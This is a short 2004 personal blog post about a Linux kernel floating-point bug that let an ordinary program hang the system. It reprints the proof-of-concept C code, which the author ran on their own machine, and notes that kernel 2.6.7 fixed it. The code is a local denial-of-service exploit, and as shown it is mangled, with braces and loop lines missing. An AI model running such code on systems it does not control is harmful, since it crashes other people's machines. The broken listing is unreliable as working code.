less than 30 lines of code that crashed linux

June 29, 2004 / Linux Unix QNX

yea yea, we all know about that stupid linux kernel bug that would allow a program to crash the operating system.

it affected the floating point unit or something…
as soon as I read about it, I tried it on my machine the night I got home, and… it does hang my computer quite well

static void Handler(int ignore)
    char fpubuf[108];
    __asm__ __volatile__ ("fsave %0n" : : "m"(fpubuf));
    write(2, "*", 1);
    __asm__ __volatile__ ("frstor %0n" : : "m"(fpubuf));
int main(int argc, char *argv[])
    struct itimerval spec;
    signal(SIGALRM, Handler);
    setitimer(ITIMER_REAL, &spec;, NULL);
        write(1, ".", 1);
    return 0;

last weekend I finally took the time to update my kernel to 2.6.7…
after applying all the patches I wanted myself, I sort of have a working kernel but no bootsplash :(

no cool load screen, but it did get rid of the above kernel bug…
I’ll just wait for new -love to come out I guess.